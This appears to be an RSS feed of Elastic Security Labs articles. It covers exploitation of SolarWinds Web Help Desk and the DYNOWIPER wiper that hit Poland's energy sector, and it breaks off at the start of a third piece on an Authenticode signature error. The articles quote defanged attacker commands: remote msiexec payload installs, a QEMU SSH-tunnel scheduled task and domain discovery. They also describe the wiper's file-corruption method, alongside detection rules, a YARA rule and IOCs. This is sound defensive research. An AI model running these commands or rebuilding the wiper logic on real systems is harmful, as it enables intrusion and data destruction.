<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Elastic Security Labs</title>
        <link>https://www.elastic.co/es/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Fri, 17 Jul 2026 13:30:16 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Elastic Security Labs</title>
            <url>https://www.elastic.co/es/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/es/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[SolarWinds Web Help Desk Exploitation - February 2026]]></title>
            <link>https://www.elastic.co/es/security-labs/solarwinds-whd-exploitation</link>
            <guid>solarwinds-whd-exploitation</guid>
            <pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security detection and prevention capabilities for the recently-disclosed SolarWinds Web Help Desk vulnerabilities.]]></description>
            <content:encoded><![CDATA[<h2>Summary</h2>
<ul>
<li>On February 6, 2026, Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/">reported</a> the exploitation of <a href="https://www.solarwinds.com/web-help-desk">SolarWinds Web Help Desk</a> (WHD) servers</li>
<li>The exploitation facilitated multi-stage intrusions leveraging remote monitoring and management software (RMM), credential dumping, and setting up tunnels and RDP for persistent access</li>
<li>While not yet confirmed, the activity may be associated with one of the following disclosed CVEs: <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-26399">CVE-2025-26399</a>, <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40536">CVE-2025-40536</a>, and <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551">CVE-2025-40551</a></li>
<li>Elastic Security Labs does not observe telemetry events related to this activity as of the date of this publication</li>
<li>Elastic Defend provides comprehensive visibility, along with 5 prebuilt prevention and 11 prebuilt detection capabilities across this reported activity</li>
</ul>
<h2>Background</h2>
<p>Multiple intrusions have been publicly reported starting on February 6, 2026 stemming from Internet-connected servers utilizing SolarWinds Web Help Desk <a href="https://support.solarwinds.com/web-help-desk">software</a>. This exploitation activity reportedly first occurred in December 2025.</p>
<p>Given the number of recent CVEs affecting this product, it’s not yet clear which of several CVEs is directly responsible for these campaigns. Below are the CVEs involved in this reported activity:</p>
<ul>
<li><code>CVE-2025-26399</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-26399">SolarWinds Web Help Desk AjaxProxy Deserialization of Untrusted Data Remote Code Execution Vulnerability</a></li>
<li><code>CVE-2025-40536</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40536">SolarWinds Web Help Desk Security Control Bypass Vulnerability</a></li>
<li><code>CVE-2025-40551</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551">SolarWinds Web Help Desk Deserialization of Untrusted Data Remote Code Execution Vulnerability</a></li>
</ul>
<p>Below is a table of the vulnerability descriptions and the impacted product versions:</p>
<table>
<thead>
<tr>
<th align="left">Vulnerability ID</th>
<th align="left">Vulnerability Description</th>
<th align="left">Affected Products</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">CVE-2025-26399</td>
<td align="left">Unauthenticated AjaxProxy deserialization remote code execution vulnerability</td>
<td align="left">SolarWinds Web Help Desk 12.8.7 and all previous versions</td>
</tr>
<tr>
<td align="left">CVE-2025-40536</td>
<td align="left">Susceptible to a security control bypass vulnerability</td>
<td align="left">SolarWinds Web Help Desk 12.8.8 HF1 and all previous versions</td>
</tr>
<tr>
<td align="left">CVE-2025-40551</td>
<td align="left">Untrusted data deserialization vulnerability</td>
<td align="left">SolarWinds Web Help Desk 12.8.8 HF1 and all previous versions</td>
</tr>
</tbody>
</table>
<p>After exploitation, the threat actors are documented to have abused otherwise legitimate RMM software to gain persistent access to victim environments. Additional reporting noted the use of <a href="https://docs.velociraptor.app/">Velociraptor</a> being abused for post-compromise execution, such as disabling Microsoft Defender and setting up a Cloudflare tunnel.</p>
<p>Once the TAs had gained network access, they configured a scheduled task to start a QEMU virtual system to maintain remote access. Credential dumping activity was also observed, including the use of DCSync and the extraction of the <code>NTDS.dit</code> database from a Windows domain controller.</p>
<p>The following sections detail Elastic Security detection and prevention rules that can detect and mitigate these intrusive activities.</p>
<h2>Execution Flow</h2>
<h3>Initial access</h3>
<p>Following the successful exploitation of the SolarWinds Web Help Desk (WHD), the threat actors established an interactive shell. Observations indicate a heavy reliance on &quot;living-off-the-land&quot; (LotL) techniques, where legitimate system utilities and programs such as RMMs are used to perform malicious actions.</p>
<p>The original attack chain happens from the WHD service wrapper (<code>wrapper.exe</code>) spawning <code>java.exe</code> which then spawns the Windows command processor (<code>cmd.exe</code>). An Elastic SIEM rule has been <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_potential_webhelpdesk_exploit.toml">created</a> for the community to detect unusual child process activity from the SolarWinds Web Help Desk application.</p>
<pre><code>any where host.os.type == &quot;windows&quot; and
(
 (event.category == &quot;library&quot; and
  process.executable : (&quot;C:\\Program Files\\WebHelpDesk\\*\\java.exe&quot;, &quot;C:\\Program Files (x86)\\WebHelpDesk\\*\\java.exe&quot;) and
  (dll.path : &quot;\\Device\\Mup\\*&quot; or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or

 (event.category == &quot;process&quot; and process.name : (&quot;cmd.exe&quot;, &quot;powershell.exe&quot;, &quot;rundll32.exe&quot;) and
  process.parent.executable : (&quot;C:\\Program Files\\WebHelpDesk\\*\\java*.exe&quot;, &quot;C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe&quot;))
)
</code></pre>
<p><em>SIEM Rule - Suspicious SolarWinds Web Help Desk Java Module Load or Child Process</em></p>
<p>One of the initial attack chains involved installing a remotely-hosted MSI installer from an anonymous file-hosting service called <a href="https://catbox.moe/">Catbox</a>.  The following command-line was observed:</p>
<pre><code>msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi
</code></pre>
<p>In order to detect this activity, Elastic has a SIEM prebuilt rule to detect remote installation of MSI files <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_msiexec_remote_payload.toml">here</a>, and an endpoint behavior protection <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">here</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/solarwinds-whd-exploitation/image2.png" alt="Alert - Remote File Execution via MSIEXEC" /></p>
<p>Suspicious child processes from Java and SolarWinds WHD represent the earliest phase of this attack, which resulted in the installation of an RMM MSI file. This remote monitoring and management utility provides some of the functionality of a conventional backdoor while resembling benign administrative software.</p>
<h3>Discovery</h3>
<p>After the RMM agent was configured, the threat group moved to hands-on keyboard activity performing reconnaissance and discovery within the network.<br />
They then leveraged the RMM agent tooling to perform discovery within the Windows network executing commands targeting information related to Active Directory. An observed command line is shown below:</p>
<pre><code>net group &quot;domain computers&quot; /do
</code></pre>
<p>An existing SIEM rule designed to identify Windows account group discovery detects this reconnaissance technique and is available <a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/discovery_generic_account_groups.toml">here</a>.</p>
<h3>Evasion</h3>
<p>One of the more notable choices used by the threat actor in one campaign was the usage of open-source forensic tool, <a href="https://github.com/Velocidex/velociraptor">Velociraptor</a>. While this legitimate tool is traditionally used to collect forensic artifacts from endpoints, the adversaries used it for code execution and file staging. The threat group silently installed Velociraptor using the remote MSI command shown below and a prebuilt Elastic Security rule is available:</p>
<pre><code>msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi
</code></pre>
<p>They followed this up with an installation of the Cloudflare Tunnel <a href="https://github.com/cloudflare/cloudflared">client</a> (<code>Cloudflared</code>) with the following command:</p>
<pre><code>msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi
</code></pre>
<p>Echoing trends observed throughout 2025 and described in the <a href="https://www.elastic.co/es/security-labs/elastic-publishes-2025-global-threat-report">Elastic Global Threat Report</a>, adversaries increasingly abuse trusted networks for transport encryption and to take advantage of benign reputation. The remote MSI installation rules discussed earlier in this article also apply in this case; however, installing a legitimate security tool is likely to appear benign to many enterprises. Cisco Talos has previously <a href="https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/">highlighted</a> this emerging attacker trend involving the use of Velociraptor for post-compromise activity.</p>
<p>Other observations in this intrusion set included the threat actor disabling security controls such as Windows Defender and Window Firewall through registry key modifications.  Existing Elastic <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_disabled_via_registry.toml">SIEM</a> and <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_defender_registry_modification.toml">endpoint</a> rules identify these attempts to undermine security settings.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/solarwinds-whd-exploitation/image3.png" alt="Alert - Microsoft Windows Defender Tampering" /></p>
<h3>Persistence</h3>
<p>In order to maintain continued access, the threat actors set up a Windows scheduled task using the following command-line:</p>
<pre><code>SCHTASKS /CREATE /V1 /RU SYSTEM /SC ONSTART /F /TN &quot;TPMProfiler&quot; /TR        &quot;C:\Users\&lt;user&gt;\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -        device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22&quot;
&lt;/user&gt;
</code></pre>
<p>This scheduled task named <code>TPMProfiler</code> was configured to execute <a href="https://www.qemu.org/">QEMU</a>, a system-level virtualization and emulation tool. QEMU was then used to establish an SSH connection, facilitating continued access to the compromised system.</p>
<p>Elastic Security published and maintains a SIEM detection <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_job_creation.toml">rule</a> to detect the creation of this scheduled task.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/solarwinds-whd-exploitation/image1.png" alt="Alert - Persistence via Scheduled Job Creation" /></p>
<p>In order to detect the QEMU tunnelling activity, Elastic Security has this Elastic Defend rule <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_potential_traffic_tunneling_with_qemu.toml">here</a> and an Elastic prebuilt detection rule <a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_tunnel_qemu.toml">here</a>.</p>
<h3>Credential Access</h3>
<p>As part of these attacks, Microsoft also mentioned credential dumping of the Active Directory Domain Database (<code>ntds.dit</code>). Elastic provides multiple detections for this behavior, including the rules referenced <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">here</a> and <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml">here</a>.</p>
<h3>Recommendations</h3>
<ol>
<li>Apply the latest SolarWinds Web Help Desk patches.</li>
<li>Rotate all service and administrative credentials that are associated with SolarWinds Web Help Desk.</li>
<li>Conduct host-level reviews of any impacted servers and endpoints to identify unauthorized activity.</li>
<li>Identify and remove any RMM usage associated with this activity. Review organizational policy and monitoring strategies for RMM tools.</li>
</ol>
<h3>Detecting SolarWinds WHD exploitation</h3>
<h4>Elastic Security prebuilt detection rules</h4>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_potential_webhelpdesk_exploit.toml">Suspicious SolarWinds Web Help Desk Java Module Load or Child Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_msiexec_remote_payload.toml">Potential Remote Install via MsiExec</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">Remote File Execution via MSIEXEC</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/discovery_generic_account_groups.toml">Windows Account or Group Discovery</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_disabled_via_registry.toml">Windows Defender Disabled via Registry Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_job_creation.toml">Persistence via Scheduled Job Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">NTDS or SAM Database File Copied</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml">Potential Credential Access via Windows Utilities</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/793d79b0637135298c821a762a98312ad7f3c7d1/rules/windows/command_and_control_tunnel_vscode.toml#L39">Attempt to Establish VScode Remote Tunnel</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/df9c27d82e74eb51e39376f1af30d2beb738c673/rules/windows/command_and_control_new_terms_commonly_abused_rat_execution.toml#L26">First Time Seen Commonly Abused Remote Access Tool Execution</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_tunnel_qemu.toml">Potential Traffic Tunneling using QEMU</a></li>
</ul>
<h4>Elastic Defend prebuilt prevention rules</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">Remote File Execution via MSIEXEC</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_defender_registry_modification.toml">Suspicious Windows Defender Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/7ad65c2cfca7a6c54c74dbe6206e968234209f94/behavior/rules/windows/command_and_control_potential_traffic_tunneling_with_qemu.toml#L3">Potential Traffic Tunneling with QEMU</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_webservice_lolbas.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/7ad65c2cfca7a6c54c74dbe6206e968234209f94/behavior/rules/cross-platform/execution_attempt_to_establish_vscode_remote_tunnel.toml#L16">Attempt to establish VScode Remote Tunnel</a></li>
</ul>
<h3>References</h3>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/">https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/</a></li>
</ul>
<h3>MITRE ATT&amp;CK Mapping</h3>
<table>
<thead>
<tr>
<th align="left">Tactic</th>
<th align="left">Technique</th>
<th align="left">ID</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Initial Access</td>
<td align="left">Exploit Public-Facing Application</td>
<td align="left">T1190</td>
</tr>
<tr>
<td align="left">Execution</td>
<td align="left">PowerShell</td>
<td align="left">T1059.001</td>
</tr>
<tr>
<td align="left">Lateral Movement</td>
<td align="left">Remote Service Session Hijacking</td>
<td align="left">T1563</td>
</tr>
<tr>
<td align="left">Credential Access</td>
<td align="left">OS Credential Dumping: LSASS Memory</td>
<td align="left">T1003.001</td>
</tr>
<tr>
<td align="left">Persistence</td>
<td align="left">Scheduled Task/Job</td>
<td align="left">T1053.005</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/solarwinds-whd-exploitation/photo-edited-10.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[DYNOWIPER: Destructive Malware Targeting Poland's Energy Sector]]></title>
            <link>https://www.elastic.co/es/security-labs/dynowiper</link>
            <guid>dynowiper</guid>
            <pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Learn how Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring.]]></description>
            <content:encoded><![CDATA[<h2>Summary</h2>
<ul>
<li>On December 29, 2025, a coordinated campaign of destructive cyberattacks targeted Poland's energy infrastructure, affecting over 30 renewable energy facilities and a major combined heat and power (CHP) plant</li>
<li>A custom wiper malware dubbed DYNOWIPER was used to irreversibly destroy data across compromised networks</li>
<li><a href="https://mwdb.cert.pl/">CERT Polska</a> attributes the attack infrastructure to the threat cluster Cisco refers to as Static Tundra, Crowdstrike refers to as Berserk Bear, Microsoft calls Ghost Blizzard, and Symantec labels as Dragonfly</li>
<li>Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring</li>
</ul>
<h2>Background</h2>
<p>The coordinated destructive campaign against critical energy infrastructure occurred on December 29, 2025, during a period of severe winter weather in Poland.</p>
<p>According to CERT Polska’s report, the campaign targeted:</p>
<ul>
<li>30+ wind and solar farms across Poland</li>
<li>A major CHP plant  supplying heat to nearly half a million customers</li>
<li>A manufacturing sector company characterized as an opportunistic target</li>
</ul>
<h3>Attack Vector</h3>
<p>The threat actor reportedly gained initial access through Fortinet FortiGate devices exposed to the internet prior to December 29th, exploiting:</p>
<ul>
<li>VPN interfaces allowing authentication without multi-factor authentication</li>
<li>Reused credentials across multiple facilities</li>
<li>Historical vulnerabilities in unpatched devices</li>
</ul>
<p>Attackers conducted months-long reconnaissance of industrial automation systems, specifically targeting SCADA systems and OT networks. During this time, they exfiltrated Active Directory databases, FortiGate configurations, and data related to OT network modernization.</p>
<h2>DYNOWIPER Details</h2>
<p>Elastic Security Labs independently analyzed a DYNOWIPER sample from open sources. The sample is similar to one of the variants documented by CERT Polska.</p>
<h3>Sample Metadata</h3>
<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>SHA256</strong></td>
<td><code>835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5</code></td>
</tr>
<tr>
<td><strong>SHA1</strong></td>
<td><code>4ec3c90846af6b79ee1a5188eefa3fd21f6d4cf6</code></td>
</tr>
<tr>
<td><strong>MD5</strong></td>
<td><code>a727362416834fa63672b87820ff7f27</code></td>
</tr>
<tr>
<td><strong>File Type</strong></td>
<td>Windows PE32 Executable (GUI)</td>
</tr>
<tr>
<td><strong>Architecture</strong></td>
<td>32-bit x86</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>167,424 bytes</td>
</tr>
<tr>
<td><strong>Compiler</strong></td>
<td>Visual C++ (MSVC)</td>
</tr>
<tr>
<td><strong>Compilation Date</strong></td>
<td>2025-12-26 13:51:11 UTC</td>
</tr>
</tbody>
</table>
<h3>Destruction Mechanism</h3>
<h4>Drive Enumeration</h4>
<p>The malware enumerates all logical drives (A-Z) using <code>GetLogicalDrives()</code> and targets only <code>DRIVE_FIXED</code> (hard drives) and <code>DRIVE_REMOVABLE</code> (USB drives, SD cards) types.</p>
<h4>File Corruption</h4>
<p>DYNOWIPER employs a Mersenne Twister PRNG to generate pseudorandom data for file corruption. Rather than overwriting entire files (which requires time), it strategically corrupts files by:</p>
<ol>
<li>Removing file protection attributes via <code>SetFileAttributesW(FILE_ATTRIBUTE_NORMAL)</code></li>
<li>Opening files with <code>CreateFileW</code> for read/write access</li>
<li>Overwriting the file header with 16 bytes of random data</li>
<li>For larger files, generating up to 4,096 random offsets and overwriting each with 16-byte sequences</li>
</ol>
<p>This approach allows rapid corruption of many files while ensuring data is unrecoverable.</p>
<h4>Directory Exclusion List</h4>
<p>The malware deliberately avoids system-critical directories to maintain system stability during the attack:</p>
<ul>
<li><code>windows</code>, <code>system32</code></li>
<li><code>program files</code>, <code>program files(x86)</code></li>
<li><code>boot</code>, <code>appdata</code>, <code>temp</code></li>
<li><code>recycle.bin</code>, <code>$recycle.bin</code></li>
<li><code>perflogs</code>, <code>documents and settings</code></li>
</ul>
<p>This design choice maximizes data destruction <em>before</em> the system becomes unstable, ensuring the wiper completes its mission.</p>
<h4>Forced Reboot</h4>
<p>After corruption and deletion phases complete, DYNOWIPER:</p>
<ol>
<li>Obtains a process token via <code>OpenProcessToken()</code></li>
<li>Enables <code>SeShutdownPrivilege</code> via <code>AdjustTokenPrivileges()</code></li>
<li>Forces system reboot with <code>ExitWindowsEx(EWX_REBOOT | EWX_FORCE)</code></li>
</ol>
<h3>Notable Characteristics</h3>
<p>DYNOWIPER is distinguished by several characteristics:</p>
<ul>
<li>No persistence mechanism - The malware does not attempt to survive reboots</li>
<li>No C2 communication - Completely standalone, no network callbacks</li>
<li>No shell command invocations - All operations performed via Windows API</li>
<li>No anti-analysis techniques - No attempts to evade detection or debugging</li>
<li>Characteristic PDB path: <code>C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb</code></li>
</ul>
<p>The use of &quot;vagrant&quot; in the PDB path suggests development occurred in a Vagrant-managed virtual machine environment.</p>
<h3>Version Differences</h3>
<p>CERT Polska documented two DYNOWIPER versions (A and B). The sample we analyzed corresponds to version A. Version B removed the system shutdown functionality and added a 5-second sleep between corruption and deletion phases.</p>
<h2>Elastic Defend Protection</h2>
<p>During testing of DYNOWIPER samples, Elastic Defend successfully detected and mitigated the malware before it could cause damage.</p>
<h3>Detection Alert</h3>
<pre><code class="language-json">{  
  &quot;message&quot;: &quot;Ransomware Prevention Alert&quot;,  
  &quot;event&quot;: {  
    &quot;code&quot;: &quot;ransomware&quot;,  
    &quot;action&quot;: &quot;canary-activity&quot;,  
    &quot;type&quot;: [&quot;info&quot;, &quot;start&quot;, &quot;change&quot;, &quot;denied&quot;],  
    &quot;category&quot;: [&quot;malware&quot;, &quot;intrusion_detection&quot;, &quot;process&quot;, &quot;file&quot;],  
    &quot;outcome&quot;: &quot;success&quot;  
  },  
  &quot;Ransomware&quot;: {  
    &quot;feature&quot;: &quot;canary&quot;,  
    &quot;version&quot;: &quot;1.9.0&quot;  
  }  
}  
</code></pre>
<h3>How Canary Protection Works</h3>
<p>Elastic Defend's ransomware protection employs canary files (strategically placed decoy files) that trigger alerts when modified. DYNOWIPER's indiscriminate file corruption approach caused it to modify a canary file.</p>
<p>When the wiper attempted to corrupt this canary file, Elastic Defend immediately:</p>
<ol>
<li>Detected the suspicious modification pattern</li>
<li>Blocked further execution</li>
<li>Generated a high-confidence ransomware alert (risk score: 73)</li>
</ol>
<p>While Elastic Defend was not the EDR solution used in this incident, this form of defense-in-depth protection was critical in the real-world intrusion. According to CERT Polska, the EDR solution deployed at the CHP plant, using the same canary protection technology highlighted above, halted data overwriting on more than 100 machines where DYNOWIPER had already begun executing.</p>
<h2>Why Behavioral Detection is Crucial</h2>
<p>Destructive malware can present unique challenges to minimizing risk:</p>
<ul>
<li>They may not establish C2 connections (no network indicators)</li>
<li>They may not use persistence mechanisms (limited forensic artifacts)</li>
<li>They execute quickly and destructively</li>
<li>Static signature-based detection may miss new variants</li>
</ul>
<p>Behavioral protection, such as through canary files, provides a crucial layer of defense that can catch destructive malware regardless of its novelty.</p>
<h2>Indicators of Compromise</h2>
<h3>File Hashes (DYNOWIPER)</h3>
<table>
<thead>
<tr>
<th>SHA256</th>
<th>Filename</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5</code></td>
<td>dynacom_update.exe</td>
</tr>
<tr>
<td><code>65099f306d27c8bcdd7ba3062c012d2471812ec5e06678096394b238210f0f7c</code></td>
<td>Source.exe</td>
</tr>
<tr>
<td><code>60c70cdcb1e998bffed2e6e7298e1ab6bb3d90df04e437486c04e77c411cae4b</code></td>
<td>schtask.exe</td>
</tr>
<tr>
<td><code>d1389a1ff652f8ca5576f10e9fa2bf8e8398699ddfc87ddd3e26adb201242160</code></td>
<td>schtask.exe</td>
</tr>
</tbody>
</table>
<h3>Distribution Scripts</h3>
<table>
<thead>
<tr>
<th>SHA256</th>
<th>Filename</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>8759e79cf3341406564635f3f08b2f333b0547c444735dba54ea6fce8539cf15</code></td>
<td>dynacon_update.ps1</td>
</tr>
<tr>
<td><code>f4e9a3ddb83c53f5b7717af737ab0885abd2f1b89b2c676d3441a793f65ffaee</code></td>
<td>exp.ps1</td>
</tr>
</tbody>
</table>
<h3>Network Indicators</h3>
<table>
<thead>
<tr>
<th>IP Address</th>
<th>Context</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>185.200.177[.]10</code></td>
<td>VPN logins, direct DYNOWIPER execution</td>
</tr>
<tr>
<td><code>31.172.71[.]5</code></td>
<td>Reverse proxy for data exfiltration</td>
</tr>
<tr>
<td><code>193.200.17[.]163</code></td>
<td>VPN logins</td>
</tr>
<tr>
<td><code>185.82.127[.]20</code></td>
<td>VPN logins</td>
</tr>
<tr>
<td><code>72.62.35[.]76</code></td>
<td>VPN and O365 logins</td>
</tr>
</tbody>
</table>
<h3>YARA Rule</h3>
<pre><code class="language-yara">rule DYNOWIPER {  
    meta: 
        author = &quot;CERT Polska&quot;
        description = &quot;Detects DYNOWIPER data destruction malware&quot;  
        severity = &quot;CRITICAL&quot;  
        reference = &quot;https://mwdb.cert.pl/&quot;  
          
    strings:  
        $a1 = &quot;$recycle.bin&quot; wide  
        $a2 = &quot;program files(x86)&quot; wide  
        $a3 = &quot;perflogs&quot; wide  
        $a4 = &quot;windows\x00&quot; wide  
        $b1 = &quot;Error opening file: &quot; wide  
        $priv = &quot;SeShutdownPrivilege&quot; wide  
        $api1 = &quot;GetLogicalDrives&quot;  
        $api2 = &quot;ExitWindowsEx&quot;  
        $api3 = &quot;AdjustTokenPrivileges&quot;  
          
    condition:  
        uint16(0) == 0x5A4D  
        and filesize &lt; 500KB  
        and 4 of ($a*, $b1)  
        and $priv  
        and 2 of ($api*)  
}  
</code></pre>
<h2>Recommendations</h2>
<h3>Immediate Actions</h3>
<ol>
<li><strong>Deploy behavioral ransomware protection</strong> - Signature-based detection alone is insufficient against novel wipers</li>
<li><strong>Enable MFA on all VPN and remote access solutions</strong> - The attackers exploited accounts without MFA</li>
<li><strong>Audit FortiGate and edge device configurations</strong> - Check for unauthorized accounts, rules, and scheduled tasks</li>
<li><strong>Review default credentials</strong> - Industrial devices (RTUs, HMIs, serial servers) often ship with default passwords</li>
</ol>
<h3>Detection Opportunities</h3>
<p>Monitor for:</p>
<ul>
<li><code>GetLogicalDrives</code> API calls followed by mass file operations</li>
<li><code>SetFileAttributesW</code> calls setting <code>FILE_ATTRIBUTE_NORMAL</code> at scale</li>
<li>Privilege escalation for <code>SeShutdownPrivilege</code> followed by <code>ExitWindowsEx</code></li>
<li>GPO modifications creating scheduled tasks with SYSTEM privileges</li>
<li>Unusual file modifications across multiple drives simultaneously</li>
</ul>
<h3>Recovery Considerations</h3>
<ul>
<li><strong>Restore from offline/air-gapped backups</strong> - Online backups may have been targeted</li>
<li><strong>Verify backup integrity</strong> before restoration</li>
<li><strong>Assume credential compromise</strong> - Reset all passwords, especially domain admin accounts</li>
<li><strong>Audit all removable media</strong> that may have been connected to affected systems</li>
</ul>
<h2>Conclusion</h2>
<p>The December 2025 attacks on Poland's energy sector represent a significant escalation in destructive cyber operations against critical infrastructure. DYNOWIPER, while not technically sophisticated, proved effective at rapid data destruction when combined with the threat actor's extensive pre-positioned access.</p>
<p>The incident underscores the importance of defense-in-depth strategies, particularly behavioral detection capabilities that can identify destructive malware regardless of its novelty. Elastic Defend's ransomware protection—specifically its canary file monitoring—proved effective at detecting and blocking DYNOWIPER before it could complete its destructive mission.</p>
<p>Organizations in critical infrastructure sectors should review their security posture against the TTPs documented in this report and CERT Polska's comprehensive analysis.</p>
<hr />
<h2>References</h2>
<ul>
<li>CERT Polska: <a href="https://mwdb.cert.pl/">Energy Sector Incident Report – 29 December</a></li>
</ul>
<ul>
<li>Cisco Talos: <a href="https://blog.talosintelligence.com/static-tundra">Static Tundra</a></li>
<li>FBI IC3: <a href="https://www.ic3.gov/PSA/2025/PSA250820">PSA250820</a></li>
</ul>
<h2>MITRE ATT&amp;CK Mapping</h2>
<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>Execution</td>
<td>Scheduled Task/Job</td>
<td>T1053.005</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>File and Directory Permissions Modification</td>
<td>T1222</td>
</tr>
<tr>
<td>Discovery</td>
<td>Local Storage Discovery</td>
<td>T1680</td>
</tr>
<tr>
<td>Impact</td>
<td>Data Destruction</td>
<td>T1485</td>
</tr>
<tr>
<td>Impact</td>
<td>System Shutdown/Reboot</td>
<td>T1529</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/dynowiper/image1.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Investigating a Mysteriously Malformed Authenticode Signature]]></title>
            <link>https://www.elastic.co/es/security-labs/malformed-authenticode-signature</link>
            <guid>malformed-authenticode-signature</guid>
            <pubDate>Thu, 04 Sep 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An in-depth investigation tracing a Windows Authenticode validation failure from vague error codes to undocumented kernel routines.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs recently encountered a signature validation issue with one of our Windows binaries. The executable was signed using <code>signtool.exe</code> as part of our standard continuous integration (CI) process, but on this occasion, the output file failed signature validation with the following error message:</p>
<blockquote>
<p>The digital signature of the object is malformed. For technical detail, see security bulletin MS13-098.</p>
</blockquote>
